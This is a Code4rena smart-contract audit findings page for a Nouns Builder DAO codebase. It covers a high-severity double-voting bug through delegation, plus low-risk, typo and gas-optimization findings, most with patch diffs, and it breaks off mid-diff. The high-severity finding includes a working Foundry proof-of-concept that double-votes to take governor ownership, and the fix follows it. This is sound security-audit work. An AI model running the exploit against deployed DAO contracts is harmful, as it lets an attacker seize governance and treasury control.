Platform: Code4rena
Start Date: 06/09/2022
Pot Size: $90,000 USDC
Total HM: 33
Participants: 168
Period: 9 days
Judge: GalloDaSballo
Total Solo HM: 10
Id: 157
League: ETH
Rank: 25/168
Findings: 3
Award: $854.37
🌟 Selected for report: 1
🚀 Solo Findings: 0
🌟 Selected for report: zkhorse
Also found by: MEP, Picodes, Solimander, berndartmueller, hxzy, hyh, pcarranzav, pfapostol
A voter can delegate their votes to another account and trigger a double vote.
Worst case scenario:
An attacker with 25% or even less of the votes could become the owner. Can be prevented with a veto, but sometimes a veto can be "burned to zero"
More realistic case:
the opposition uses double voting to prevent the controversial proposal from succeeding.
NOTE: You need to setUp accounts(attacker, attacker2, founder) and contracts(auction, token, governor, treasury) before.
Run with forge test --match "test_audit" -vv
function test_audit_votes_dup() public { vm.prank(founder); auction.unpause(); for (uint256 i = 0; i < 50; i++) { (uint256 tokenId, , , , uint40 endTime, ) = auction.auction(); vm.prank(attacker); auction.createBid{ value: 0.420 ether }(tokenId); vm.warp(endTime + 1 seconds); auction.settleCurrentAndCreateNewAuction(); } vm.warp(block.timestamp + 10); console.log("attacker votes"); console.logUint(governor.getVotes(attacker, block.timestamp - 1)); console.log("delegation"); vm.prank(attacker); token.delegate(attacker2); vm.warp(block.timestamp + 10); console.log("attacker2 votes"); console.logUint(governor.getVotes(attacker2, block.timestamp - 1)); console.log("Create proposal"); address[] memory targets = new address[](1); uint256[] memory values = new uint256[](1); bytes[] memory calldatas = new bytes[](1); targets[0] = address(governor); calldatas[0] = abi.encodeWithSignature("transferOwnership(address)", attacker); vm.prank(attacker); bytes32 proposalId = governor.propose(targets, values, calldatas, ""); Governor.Proposal memory proposal = governor.getProposal(proposalId); console.logUint(proposal.voteStart); console.logUint(proposal.voteEnd); vm.warp(proposal.voteStart + 1); console.logString("Current Owner"); console.logAddress(address(treasury)); console.logAddress(governor.owner()); console.log("Votes"); vm.prank(attacker); console.log("Attacker1 cast his votes:"); console.log(governor.castVote(proposalId, 1)); vm.prank(attacker2); console.log("Attacker2 cast votes delegated by Attacker1:"); console.log(governor.castVote(proposalId, 1)); proposal = governor.getProposal(proposalId); console.log("Votes for proposal == attacker votes * 2:"); console.logUint(proposal.forVotes); console.logUint(proposal.againstVotes); console.logUint(proposal.abstainVotes); vm.warp(proposal.voteEnd + 1); uint256 eta = governor.queue(proposalId); vm.warp(eta + 1); governor.execute(targets, values, calldatas, keccak256(bytes(""))); console.logString("New Owner"); console.logAddress(attacker); console.logAddress(governor.owner()); }
diff --git a/src/lib/token/ERC721Votes.sol b/src/lib/token/ERC721Votes.sol index 3e64720..fed39b8 100644 --- a/src/lib/token/ERC721Votes.sol +++ b/src/lib/token/ERC721Votes.sol @@ -43,6 +43,8 @@ abstract contract ERC721Votes is IERC721Votes, EIP712, ERC721 { 43, 43: /// @notice The current number of votes for an account 44, 44: /// @param _account The account address 45, 45: function getVotes(address _account) public view returns (uint256) { + 46:+ if (delegation[_account] != address(0)) return 0; + 47:+ 46, 48: // Get the account's number of checkpoints 47, 49: uint256 nCheckpoints = numCheckpoints[_account]; 48, 50: @@ -60,6 +62,8 @@ abstract contract ERC721Votes is IERC721Votes, EIP712, ERC721 { 60, 62: // Ensure the given timestamp is in the past 61, 63: if (_timestamp >= block.timestamp) revert INVALID_TIMESTAMP(); 62, 64: + 65:+ if (delegation[_account] != address(0)) return 0; + 66:+ 63, 67: // Get the account's number of checkpoints 64, 68: uint256 nCheckpoints = numCheckpoints[_account]; 65, 69:
It is also possible to burn votes when the owner delegates them, and mint again when the voter revokes the delegation.
#0 - GalloDaSballo
2022-09-20T19:29:59Z
🌟 Selected for report: Lambda
Also found by: 0x1337, 0x1f8b, 0x4non, 0x85102, 0xA5DF, 0xNazgul, 0xSmartContract, 0xbepresent, 0xc0ffEE, 8olidity, Aymen0909, B2, Bnke0x0, CRYP70, Captainkay, CertoraInc, Ch_301, Chom, ChristianKuri, CodingNameKiki, Deivitto, Diana, DimitarDimitrov, ElKu, EthLedger, Franfran, Funen, GimelSec, JansenC, Jeiwan, Jujic, Lead_Belly, MEP, MasterCookie, MiloTruck, Noah3o6, PPrieditis, PaludoX0, Picodes, PwnPatrol, R2, Randyyy, RaymondFam, Respx, ReyAdmirado, Rolezn, Samatak, Tointer, Tomo, V_B, Waze, _Adam, __141345__, a12jmx, ak1, asutorufos, azephiar, ballx, bharg4v, bin2chen, bobirichman, brgltd, bulej93, c3phas, cccz, ch0bu, cloudjunky, cryptonue, cryptostellar5, cryptphi, csanuragjain, d3e4, datapunk, davidbrai, delfin454000, dharma09, dic0de, dipp, djxploit, eierina, erictee, fatherOfBlocks, gogo, hansfriese, hyh, imare, indijanc, izhuer, jonatascm, ladboy233, leosathya, lucacez, lukris02, m9800, martin, minhtrng, ne0n, neumo, oyc_109, p_crypt0, pashov, pauliax, pcarranzav, pedr02b2, peritoflores, pfapostol, rbserver, ret2basic, robee, rvierdiiev, sach1r0, sahar, scaraven, sikorico, simon135, slowmoses, sorrynotsorry, tnevler, tonisives, volky, yixxas, zkhorse, zzzitron
60.7775 USDC - $60.78
Issue | Instances | |
---|---|---|
1 | Lack of zero checks for immutable variables | 9 |
2 | Use two-step procedure to avoid unintended burning of veto power | 1 |
3 | Check result of WETH transfer | 1 |
Issue | Instances | |
---|---|---|
1 | Incomplite NatSpec | 1 |
2 | Typos | 5 |
3 | The code repeats the functionality of the library function, instead of calling it directly. | 2 |
4 | public functions not called by the contract should be declared external instead | 3 |
Low-Risk Issues:
Lack of zero checks for immutable variables (9 instances)
diff --git a/src/auction/Auction.sol b/src/auction/Auction.sol index 794da99..bfd685c 100644 --- a/src/auction/Auction.sol +++ b/src/auction/Auction.sol @@ -37,6 +37,7 @@ contract Auction is IAuction, UUPS, Ownable, ReentrancyGuard, Pausable, AuctionS 37, 37: /// @param _manager The contract upgrade manager address 38, 38: /// @param _weth The address of WETH 39, 39: constructor(address _manager, address _weth) payable initializer { + 40:+ if (_manager == address(0) || _weth == address(0)) revert ZERO_ADDRESS(); 40, 41: manager = IManager(_manager); 41, 42: WETH = _weth; 42, 43: } diff --git a/src/auction/IAuction.sol b/src/auction/IAuction.sol index 2a86610..19bc1ea 100644 --- a/src/auction/IAuction.sol +++ b/src/auction/IAuction.sol @@ -80,6 +80,8 @@ interface IAuction is IUUPS, IOwnable, IPausable { 80, 80: /// @dev Reverts if the caller was not the contract manager 81, 81: error ONLY_MANAGER(); 82, 82: + 83:+ error ZERO_ADDRESS(); + 84:+ 83, 85: /// /// 84, 86: /// FUNCTIONS /// 85, 87: /// ///
diff --git a/src/auction/Auction.sol b/src/auction/Auction.sol index bfd685c..78a86c5 100644 --- a/src/auction/Auction.sol +++ b/src/auction/Auction.sol @@ -61,6 +61,7 @@ contract Auction is IAuction, UUPS, Ownable, ReentrancyGuard, Pausable, AuctionS 61, 61: ) external initializer { 62, 62: // Ensure the caller is the contract manager 63, 63: if (msg.sender != address(manager)) revert ONLY_MANAGER(); + 64:+ if (_token == address(0) || _founder == address(0) || _treasury == address(0)) revert ZERO_ADDRESS(); 64, 65: 65, 66: // Initialize the reentrancy guard 66, 67: __ReentrancyGuard_init();
diff --git a/src/governance/governor/Governor.sol b/src/governance/governor/Governor.sol index 0d963c5..64ebf5f 100644 --- a/src/governance/governor/Governor.sol +++ b/src/governance/governor/Governor.sol @@ -39,6 +39,7 @@ contract Governor is IGovernor, UUPS, Ownable, EIP712, GovernorStorageV1 { 39, 39: 40, 40: /// @param _manager The contract upgrade manager address 41, 41: constructor(address _manager) payable initializer { + 42:+ if (_manager == address(0)) revert ZERO_ADDRESS(); 42, 43: manager = IManager(_manager); 43, 44: } 44, 45: diff --git a/src/governance/governor/IGovernor.sol b/src/governance/governor/IGovernor.sol index 8e4f75d..aec9963 100644 --- a/src/governance/governor/IGovernor.sol +++ b/src/governance/governor/IGovernor.sol @@ -104,6 +104,8 @@ interface IGovernor is IUUPS, IOwnable, IEIP712, GovernorTypesV1 { 104, 104: /// @dev Reverts if the caller was not the contract manager 105, 105: error ONLY_MANAGER(); 106, 106: + 107:+ error ZERO_ADDRESS(); + 108:+ 107, 109: /// /// 108, 110: /// FUNCTIONS /// 109, 111: /// ///
diff --git a/src/governance/treasury/ITreasury.sol b/src/governance/treasury/ITreasury.sol index b12f672..ccc813b 100644 --- a/src/governance/treasury/ITreasury.sol +++ b/src/governance/treasury/ITreasury.sol @@ -54,6 +54,8 @@ interface ITreasury is IUUPS, IOwnable { 54, 54: /// @dev Reverts if the caller was not the contract manager 55, 55: error ONLY_MANAGER(); 56, 56: + 57:+ error ZERO_ADDRESS(); + 58:+ 57, 59: /// /// 58, 60: /// FUNCTIONS /// 59, 61: /// /// diff --git a/src/governance/treasury/Treasury.sol b/src/governance/treasury/Treasury.sol index b78bc8c..906dc24 100644 --- a/src/governance/treasury/Treasury.sol +++ b/src/governance/treasury/Treasury.sol @@ -30,6 +30,7 @@ contract Treasury is ITreasury, UUPS, Ownable, TreasuryStorageV1 { 30, 30: 31, 31: /// @param _manager The contract upgrade manager address 32, 32: constructor(address _manager) payable initializer { + 33:+ if (_manager == address(0)) revert ZERO_ADDRESS(); 33, 34: manager = IManager(_manager); 34, 35: } 35, 36:
diff --git a/src/token/IToken.sol b/src/token/IToken.sol index 4e83558..24dae40 100644 --- a/src/token/IToken.sol +++ b/src/token/IToken.sol @@ -39,6 +39,8 @@ interface IToken is IUUPS, IERC721Votes, TokenTypesV1 { 39, 39: /// @dev Reverts if the caller was not the contract manager 40, 40: error ONLY_MANAGER(); 41, 41: + 42:+ error ZERO_ADDRESS(); + 43:+ 42, 44: /// /// 43, 45: /// FUNCTIONS /// 44, 46: /// /// diff --git a/src/token/Token.sol b/src/token/Token.sol index afad142..f8a2735 100644 --- a/src/token/Token.sol +++ b/src/token/Token.sol @@ -28,6 +28,7 @@ contract Token is IToken, UUPS, ReentrancyGuard, ERC721Votes, TokenStorageV1 { 28, 28: 29, 29: /// @param _manager The contract upgrade manager address 30, 30: constructor(address _manager) payable initializer { + 31:+ if (_manager == address(0)) revert ZERO_ADDRESS(); 31, 32: manager = IManager(_manager); 32, 33: } 33, 34:
Use two-step procedure to avoid unintended burning of veto power (1 instances)
diff --git a/src/governance/governor/Governor.sol b/src/governance/governor/Governor.sol index 0d963c5..1d099bf 100644 --- a/src/governance/governor/Governor.sol +++ b/src/governance/governor/Governor.sol @@ -596,6 +596,14 @@ contract Governor is IGovernor, UUPS, Ownable, EIP712, GovernorStorageV1 { 596, 596: function updateVetoer(address _newVetoer) external onlyOwner { 597, 597: if (_newVetoer == address(0)) revert ADDRESS_ZERO(); 598, 598: + 599:+ emit PendingVetoerUpdated(pendingVetoer, _newVetoer); + 600:+ + 601:+ pendingVetoer = _newVetoer; + 602:+ } + 603:+ + 604:+ function acceptVetoer() external { + 605:+ if (msg.sender != pendingVetoer) revert ONLY_PENDING_VETOER(); + 606:+ 599, 607: emit VetoerUpdated(settings.vetoer, _newVetoer); 600, 608: 601, 609: settings.vetoer = _newVetoer; diff --git a/src/governance/governor/IGovernor.sol b/src/governance/governor/IGovernor.sol index 8e4f75d..f1ddf7e 100644 --- a/src/governance/governor/IGovernor.sol +++ b/src/governance/governor/IGovernor.sol @@ -55,6 +55,7 @@ interface IGovernor is IUUPS, IOwnable, IEIP712, GovernorTypesV1 { 55, 55: 56, 56: //// @notice Emitted when the governor's vetoer is updated 57, 57: event VetoerUpdated(address prevVetoer, address newVetoer); + 58:+ event PendingVetoerUpdated(address prevVetoer, address newVetoer); 58, 59: 59, 60: /// /// 60, 61: /// ERRORS /// @@ -104,6 +105,7 @@ interface IGovernor is IUUPS, IOwnable, IEIP712, GovernorTypesV1 { 104, 105: /// @dev Reverts if the caller was not the contract manager 105, 106: error ONLY_MANAGER(); 106, 107: + 108:+ error ONLY_PENDING_VETOER(); 107, 109: /// /// 108, 110: /// FUNCTIONS /// 109, 111: /// /// diff --git a/src/governance/governor/storage/GovernorStorageV1.sol b/src/governance/governor/storage/GovernorStorageV1.sol index beff22e..5973d5e 100644 --- a/src/governance/governor/storage/GovernorStorageV1.sol +++ b/src/governance/governor/storage/GovernorStorageV1.sol @@ -17,4 +17,6 @@ contract GovernorStorageV1 is GovernorTypesV1 { 17, 17: /// @notice If a user has voted on a proposal 18, 18: /// @dev Proposal Id => User => Has Voted 19, 19: mapping(bytes32 => mapping(address => bool)) internal hasVoted; + 20:+ + 21:+ address internal pendingVetoer; 20, 22: }
Check result of WETH
transfer (1 instances)
diff --git a/src/auction/Auction.sol b/src/auction/Auction.sol index 794da99..8d8cae4 100644 --- a/src/auction/Auction.sol +++ b/src/auction/Auction.sol @@ -360,7 +360,10 @@ contract Auction is IAuction, UUPS, Ownable, ReentrancyGuard, Pausable, AuctionS 360, 360: IWETH(WETH).deposit{ value: _amount }(); 361, 361: 362, 362: // Transfer WETH instead - 363 :- IWETH(WETH).transfer(_to, _amount); + 363:+ if (!IWETH(WETH).transfer(_to, _amount)) { + 364:+ revert WETH_TRANSFER_ERROR(); + 365:+ } + 366:+ 364, 367: } 365, 368: } 366, 369: diff --git a/src/auction/IAuction.sol b/src/auction/IAuction.sol index 2a86610..3854b0a 100644 --- a/src/auction/IAuction.sol +++ b/src/auction/IAuction.sol @@ -80,6 +80,8 @@ interface IAuction is IUUPS, IOwnable, IPausable { 80, 80: /// @dev Reverts if the caller was not the contract manager 81, 81: error ONLY_MANAGER(); 82, 82: + 83:+ error WETH_TRANSFER_ERROR(); + 84:+ 83, 85: /// /// 84, 86: /// FUNCTIONS /// 85, 87: /// ///
Non-critical Issues:
Incomplite NatSpec (1 instance)
252 string memory _reason // @audit not covered in NatSpec
Typos (5 instances)
diff --git a/src/governance/governor/IGovernor.sol b/src/governance/governor/IGovernor.sol index 8e4f75d..30c6983 100644 --- a/src/governance/governor/IGovernor.sol +++ b/src/governance/governor/IGovernor.sol @@ -287,7 +287,7 @@ interface IGovernor is IUUPS, IOwnable, IEIP712, GovernorTypesV1 { 287, 287: function updateQuorumThresholdBps(uint256 newQuorumVotesBps) external; 288, 288: 289, 289: /// @notice Updates the vetoer - 290 :- /// @param newVetoer The new vetoer addresss + 290:+ /// @param newVetoer The new vetoer address 291, 291: function updateVetoer(address newVetoer) external; 292, 292: 293, 293: /// @notice Burns the vetoer diff --git a/src/lib/token/ERC721Votes.sol b/src/lib/token/ERC721Votes.sol index 3e64720..718aaff 100644 --- a/src/lib/token/ERC721Votes.sol +++ b/src/lib/token/ERC721Votes.sol @@ -157,7 +157,7 @@ abstract contract ERC721Votes is IERC721Votes, EIP712, ERC721 { 157, 157: 158, 158: // Cannot realistically overflow 159, 159: unchecked { - 160 :- // Compute the hash of the domain seperator with the typed delegation data + 160:+ // Compute the hash of the domain separator with the typed delegation data 161, 161: digest = keccak256( 162, 162: abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR(), keccak256(abi.encode(DELEGATION_TYPEHASH, _from, _to, nonces[_from]++, _deadline))) 163, 163: ); diff --git a/src/manager/Manager.sol b/src/manager/Manager.sol index d1025ec..ccca9ec 100644 --- a/src/manager/Manager.sol +++ b/src/manager/Manager.sol @@ -110,7 +110,7 @@ contract Manager is IManager, UUPS, Ownable, ManagerStorageV1 { 110, 110: ) 111, 111: { 112, 112: // Used to store the address of the first (or only) founder - 113 :- // This founder is responsible for adding token artwork and launching the first auction -- they're also free to transfer this responsiblity + 113:+ // This founder is responsible for adding token artwork and launching the first auction -- they're also free to transfer this responsibility 114, 114: address founder; 115, 115: 116, 116: // Ensure at least one founder is provided diff --git a/src/token/Token.sol b/src/token/Token.sol index afad142..a724efa 100644 --- a/src/token/Token.sol +++ b/src/token/Token.sol @@ -101,7 +101,7 @@ contract Token is IToken, UUPS, ReentrancyGuard, ERC721Votes, TokenStorageV1 { 101, 101: // Compute the vesting schedule 102, 102: uint256 schedule = 100 / founderPct; 103, 103: - 104 :- // Used to store the base token id the founder will recieve + 104:+ // Used to store the base token id the founder will receive 105, 105: uint256 baseTokenId; 106, 106: 107, 107: // For each token to vest: diff --git a/src/token/metadata/MetadataRenderer.sol b/src/token/metadata/MetadataRenderer.sol index 7a140ec..3f14c2a 100644 --- a/src/token/metadata/MetadataRenderer.sol +++ b/src/token/metadata/MetadataRenderer.sol @@ -246,7 +246,7 @@ contract MetadataRenderer is IPropertyIPFSMetadataRenderer, UUPS, Ownable, Metad 246, 246: } 247, 247: } 248, 248: - 249 :- /// @dev Generates a psuedo-random seed for a token id + 249:+ /// @dev Generates a pseudo-random seed for a token id 250, 250: function _generateSeed(uint256 _tokenId) private view returns (uint256) { 251, 251: return uint256(keccak256(abi.encode(_tokenId, blockhash(block.number), block.coinbase, block.timestamp))); 252, 252: }
public
functions not called by the contract should be declared external
instead (3 instances)
Contracts are allowed to override their parents' functions and change the visibility from external
to public
.
diff --git a/src/governance/treasury/Treasury.sol b/src/governance/treasury/Treasury.sol index b78bc8c..f3e6d67 100644 --- a/src/governance/treasury/Treasury.sol +++ b/src/governance/treasury/Treasury.sol @@ -239,7 +239,7 @@ contract Treasury is ITreasury, UUPS, Ownable, TreasuryStorageV1 { 239, 239: address, 240, 240: uint256, 241, 241: bytes memory - 242 :- ) public pure returns (bytes4) { + 242:+ ) external pure returns (bytes4) { 243, 243: return ERC721TokenReceiver.onERC721Received.selector; 244, 244: } 245, 245: @@ -250,7 +250,7 @@ contract Treasury is ITreasury, UUPS, Ownable, TreasuryStorageV1 { 250, 250: uint256, 251, 251: uint256, 252, 252: bytes memory - 253 :- ) public pure returns (bytes4) { + 253:+ ) external pure returns (bytes4) { 254, 254: return ERC1155TokenReceiver.onERC1155Received.selector; 255, 255: } 256, 256: @@ -261,7 +261,7 @@ contract Treasury is ITreasury, UUPS, Ownable, TreasuryStorageV1 { 261, 261: uint256[] memory, 262, 262: uint256[] memory, 263, 263: bytes memory - 264 :- ) public pure returns (bytes4) { + 264:+ ) external pure returns (bytes4) { 265, 265: return ERC1155TokenReceiver.onERC1155BatchReceived.selector; 266, 266: } 267, 267:
The code repeats the functionality of the library function, instead of calling it directly. (2 instances)
diff --git a/src/manager/Manager.sol b/src/manager/Manager.sol index d1025ec..55a6c9c 100644 --- a/src/manager/Manager.sol +++ b/src/manager/Manager.sol @@ -4,6 +4,7 @@ pragma solidity 0.8.15; 4, 4: import { UUPS } from "../lib/proxy/UUPS.sol"; 5, 5: import { Ownable } from "../lib/utils/Ownable.sol"; 6, 6: import { ERC1967Proxy } from "../lib/proxy/ERC1967Proxy.sol"; + 7:+import { Address } from "../lib/utils/Address.sol"; 7, 8: 8, 9: import { ManagerStorageV1 } from "./storage/ManagerStorageV1.sol"; 9, 10: import { IManager } from "./IManager.sol"; @@ -17,6 +18,7 @@ import { IGovernor } from "../governance/governor/IGovernor.sol"; 17, 18: /// @author Rohan Kulkarni 18, 19: /// @notice The DAO deployer and upgrade manager 19, 20: contract Manager is IManager, UUPS, Ownable, ManagerStorageV1 { + 21:+ using Address for address; 20, 22: /// /// 21, 23: /// IMMUTABLES /// 22, 24: /// /// @@ -120,7 +122,7 @@ contract Manager is IManager, UUPS, Ownable, ManagerStorageV1 { 120, 122: token = address(new ERC1967Proxy(tokenImpl, "")); 121, 123: 122, 124: // Use the token address to precompute the DAO's remaining addresses - 123 :- bytes32 salt = bytes32(uint256(uint160(token)) << 96); + 125:+ bytes32 salt = token.toBytes32(); 124, 126: 125, 127: // Deploy the remaining DAO contracts 126, 128: metadata = address(new ERC1967Proxy{ salt: salt }(metadataImpl, "")); @@ -162,7 +164,7 @@ contract Manager is IManager, UUPS, Ownable, ManagerStorageV1 { 162, 164: address governor 163, 165: ) 164, 166: { - 165 :- bytes32 salt = bytes32(uint256(uint160(_token)) << 96); + 167:+ bytes32 salt = _token.toBytes32(); 166, 168: 167, 169: metadata = address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(this), salt, metadataHash))))); 168, 170: auction = address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(this), salt, auctionHash)))));
#0 - GalloDaSballo
2022-09-27T13:42:25Z
1L 1R 2NC
🌟 Selected for report: pfapostol
Also found by: 0x1f8b, 0x4non, 0x5rings, 0xA5DF, 0xSmartContract, 0xc0ffEE, 0xkatana, Aymen0909, Bnke0x0, CertoraInc, Chandr, CodingNameKiki, Cr4ckM3, Deivitto, DimSon, Franfran, JAGADESH, JC, Jeiwan, Lambda, LeoS, Matin, Metatron, Migue, MiloTruck, PPrieditis, PaludoX0, R2, RaymondFam, Respx, ReyAdmirado, Rolezn, Saintcode_, Samatak, SnowMan, StevenL, Tointer, TomJ, Tomo, WatchDogs, Waze, _Adam, __141345__, ajtra, asutorufos, ballx, brgltd, bulej93, c3phas, ch0bu, dharma09, djxploit, durianSausage, easy_peasy, fatherOfBlocks, gianganhnguyen, gogo, imare, leosathya, lucacez, martin, oyc_109, pauliax, peiw, prasantgupta52, ret2basic, rfa, robee, sikorico, simon135, tofunmi, volky, wagmi, zishansami
444.5265 USDC - $444.53
Gas savings are estimated using the gas report of existing forge test --gas-report
tests (the sum of all deployment costs and the sum of the costs of calling all methods) and may vary depending on the implementation of the fix. I keep my version of the fix for each finding and can provide them if you need them.
In this project, the optimizer is set on 500000 runs, so some of the common optimizations are useless or partially useless. Only cases that save gas with this configuration of optimizer are included in the report.
Issue | Instances | Estimated gas(deployments) | Estimated gas(method call) | |
---|---|---|---|---|
1 | storage pointer to a structure is cheaper than copying each value of the structure into memory , same for array and mapping | 5 | 168 820 | 1 672 |
2 | State variables can be packed into fewer storage slots | 1 | 99 511 | - |
3 | State variables should be cached in stack variables rather than re-reading them from storage | 5 | 70 505 | 2 634 |
4 | Using bools for storage incurs overhead | 5 | 60 668 | 1 191 |
5 | Storage variable is used when local exists | 2 | 1 400 | 2 602 |
6 | Use named returns where appropriate | 3 | 2 000 | 174 |
- | Overall Gas Saved | 21 | 341 027 | 10 231 |
Total: 21 instances over 6 issues
storage
pointer to a structure is cheaper than copying each value of the structure into memory
, same for array
and mapping
(5 instances)
Deployment Gas Saved: 168 820
Method Call Gas Saved: 1 672
forge snapshot --diff
: 8 746 Gas Saved
It may not be obvious, but every time you copy a storage struct
/array
/mapping
to a memory
variable, you are copying each member by reading it from storage
, which is expensive. And when you use the storage
keyword, you are just storing a pointer to the storage, which is much cheaper.
Exception: case when you need to read all or many members multiple times. In report included only cases that saved gas
diff --git a/src/auction/Auction.sol b/src/auction/Auction.sol index 794da99..92854f6 100644 --- a/src/auction/Auction.sol +++ b/src/auction/Auction.sol @@ -89,7 +89,7 @@ contract Auction is IAuction, UUPS, Ownable, ReentrancyGuard, Pausable, AuctionS 89, 89: /// @param _tokenId The ERC-721 token id 90, 90: function createBid(uint256 _tokenId) external payable nonReentrant { 91, 91: // Get a copy of the current auction - 92 :- Auction memory _auction = auction; + 92:+ Auction storage _auction = auction; 93, 93: 94, 94: // Ensure the bid is for the current token 95, 95: if (_auction.tokenId != _tokenId) revert INVALID_TOKEN_ID();
diff --git a/src/governance/governor/Governor.sol b/src/governance/governor/Governor.sol index 0d963c5..ca5600a 100644 --- a/src/governance/governor/Governor.sol +++ b/src/governance/governor/Governor.sol @@ -355,7 +355,7 @@ contract Governor is IGovernor, UUPS, Ownable, EIP712, GovernorStorageV1 { 355, 355: if (state(_proposalId) == ProposalState.Executed) revert PROPOSAL_ALREADY_EXECUTED(); 356, 356: 357, 357: // Get a copy of the proposal - 358 :- Proposal memory proposal = proposals[_proposalId]; + 358:+ Proposal storage proposal = proposals[_proposalId]; 359, 359: 360, 360: // Cannot realistically underflow and `getVotes` would revert 361, 361: unchecked { diff --git a/src/governance/governor/Governor.sol b/src/governance/governor/Governor.sol index ca5600a..67db726 100644 --- a/src/governance/governor/Governor.sol +++ b/src/governance/governor/Governor.sol @@ -505,7 +505,7 @@ contract Governor is IGovernor, UUPS, Ownable, EIP712, GovernorStorageV1 { 505, 505: uint256 506, 506: ) 507, 507: { - 508 :- Proposal memory proposal = proposals[_proposalId]; + 508:+ Proposal storage proposal = proposals[_proposalId]; 509, 509: 510, 510: return (proposal.againstVotes, proposal.forVotes, proposal.abstainVotes); 511, 511: }
diff --git a/src/lib/token/ERC721Votes.sol b/src/lib/token/ERC721Votes.sol index 3e64720..c5759cd 100644 --- a/src/lib/token/ERC721Votes.sol +++ b/src/lib/token/ERC721Votes.sol @@ -87,7 +87,7 @@ abstract contract ERC721Votes is IERC721Votes, EIP712, ERC721 { 87, 87: uint256 middle; 88, 88: 89, 89: // Used to temporarily hold a checkpoint - 90 :- Checkpoint memory cp; + 90:+ Checkpoint storage cp; 91, 91: 92, 92: // While a valid checkpoint is to be found: 93, 93: while (high > low) {
diff --git a/src/token/metadata/MetadataRenderer.sol b/src/token/metadata/MetadataRenderer.sol index 7a140ec..070da5f 100644 --- a/src/token/metadata/MetadataRenderer.sol +++ b/src/token/metadata/MetadataRenderer.sol @@ -231,7 +231,7 @@ contract MetadataRenderer is IPropertyIPFSMetadataRenderer, UUPS, Ownable, Metad 231, 231: bool isLast = i == lastProperty; 232, 232: 233, 233: // Get a copy of the property - 234 :- Property memory property = properties[i]; + 234:+ Property storage property = properties[i]; 235, 235: 236, 236: // Get the token's generated attribute 237, 237: uint256 attribute = tokenAttributes[i + 1];
Controversial (Not included in estimation):
Saved in deploy: 25433, but lost 100-300 gas per user
diff --git a/src/governance/governor/Governor.sol b/src/governance/governor/Governor.sol index ca5600a..b47413f 100644 --- a/src/governance/governor/Governor.sol +++ b/src/governance/governor/Governor.sol @@ -412,7 +412,7 @@ contract Governor is IGovernor, UUPS, Ownable, EIP712, GovernorStorageV1 { 412, 412: /// @param _proposalId The proposal id 413, 413: function state(bytes32 _proposalId) public view returns (ProposalState) { 414, 414: // Get a copy of the proposal - 415 :- Proposal memory proposal = proposals[_proposalId]; + 415:+ Proposal storage proposal = proposals[_proposalId]; 416, 416: 417, 417: // Ensure the proposal exists 418, 418: if (proposal.voteStart == 0) revert PROPOSAL_DOES_NOT_EXIST();
State variables can be packed into fewer storage slots (1 instances)
Deployment Gas Saved: 99 511
forge snapshot --diff
: 1 080 Gas Saved
Storage:
/*external inheritance:*/ address internal _owner; // 20 address internal _pendingOwner // 20 uint256 internal _status; // 32 uint8 internal _initialized; // 1 bool internal _initializing; // 1 bool internal _paused; // 1 /* self storage */ Settings internal settings; /* address treasury; // 20 uint40 duration; // 5 uint40 timeBuffer; // 5 uint8 minBidIncrement; // 1 uint256 reservePrice; // 32 */ Token public token; // 20 Auction public auction; /* uint256 tokenId; // 32 uint256 highestBid; // 32 address highestBidder; // 20 uint40 startTime; // 5 uint40 endTime; // 5 bool settled; // 1 */
Fix:
diff --git a/src/auction/types/AuctionTypesV1.sol b/src/auction/types/AuctionTypesV1.sol index ae90c6c..8fb4241 100644 --- a/src/auction/types/AuctionTypesV1.sol +++ b/src/auction/types/AuctionTypesV1.sol @@ -12,10 +12,10 @@ contract AuctionTypesV1 { 12, 12: /// @param minBidIncrement The minimum percentage an incoming bid must raise the highest bid 13, 13: /// @param reservePrice The reserve price of each auction 14, 14: struct Settings { - 15 :- address treasury; + 15:+ uint8 minBidIncrement; 16, 16: uint40 duration; 17, 17: uint40 timeBuffer; - 18 :- uint8 minBidIncrement; + 18:+ address treasury; 19, 19: uint256 reservePrice; 20, 20: } 21, 21: @@ -27,11 +27,11 @@ contract AuctionTypesV1 { 27, 27: /// @param endTime The timestamp the auction ends 28, 28: /// @param settled If the auction has been settled 29, 29: struct Auction { - 30 :- uint256 tokenId; - 31 :- uint256 highestBid; - 32 :- address highestBidder; 33, 30: uint40 startTime; 34, 31: uint40 endTime; 35, 32: bool settled; + 33:+ address highestBidder; + 34:+ uint256 tokenId; + 35:+ uint256 highestBid; 36, 36: } 37, 37: } diff --git a/test/Auction.t.sol b/test/Auction.t.sol index b664078..bf2c2e5 100644 --- a/test/Auction.t.sol +++ b/test/Auction.t.sol @@ -44,7 +44,7 @@ contract AuctionTest is NounsBuilderTest { 44, 44: assertEq(token.ownerOf(1), founder2); 45, 45: assertEq(token.ownerOf(2), address(auction)); 46, 46: - 47 :- (uint256 tokenId, uint256 highestBid, address highestBidder, uint256 startTime, uint256 endTime, bool settled) = auction.auction(); + 47:+ (uint256 startTime, uint256 endTime, bool settled, address highestBidder, uint256 tokenId, uint256 highestBid) = auction.auction(); 48, 48: 49, 49: assertEq(tokenId, 2); 50, 50: assertEq(highestBid, 0); @@ -71,7 +71,7 @@ contract AuctionTest is NounsBuilderTest { 71, 71: vm.prank(bidder1); 72, 72: auction.createBid{ value: _amount }(2); 73, 73: - 74 :- (, uint256 highestBid, address highestBidder, , , ) = auction.auction(); + 74:+ (, , , address highestBidder, , uint256 highestBid) = auction.auction(); 75, 75: 76, 76: assertEq(highestBid, _amount); 77, 77: assertEq(highestBidder, bidder1); @@ -123,7 +123,7 @@ contract AuctionTest is NounsBuilderTest { 123, 123: assertEq(bidder2BeforeBalance - bidder2AfterBalance, 0.5 ether); 124, 124: assertEq(address(auction).balance, 0.5 ether); 125, 125: - 126 :- (, uint256 highestBid, address highestBidder, , , ) = auction.auction(); + 126:+ (, , , address highestBidder, , uint256 highestBid) = auction.auction(); 127, 127: 128, 128: assertEq(highestBid, 0.5 ether); 129, 129: assertEq(highestBidder, bidder2); @@ -155,7 +155,7 @@ contract AuctionTest is NounsBuilderTest { 155, 155: vm.prank(bidder2); 156, 156: auction.createBid{ value: 1 ether }(2); 157, 157: - 158 :- (, , , , uint256 endTime, ) = auction.auction(); + 158:+ (, uint256 endTime, , ,, ) = auction.auction(); 159, 159: 160, 160: assertEq(endTime, 14 minutes); 161, 161: } @@ -237,7 +237,7 @@ contract AuctionTest is NounsBuilderTest { 237, 237: 238, 238: auction.settleAuction(); 239, 239: - 240 :- (, 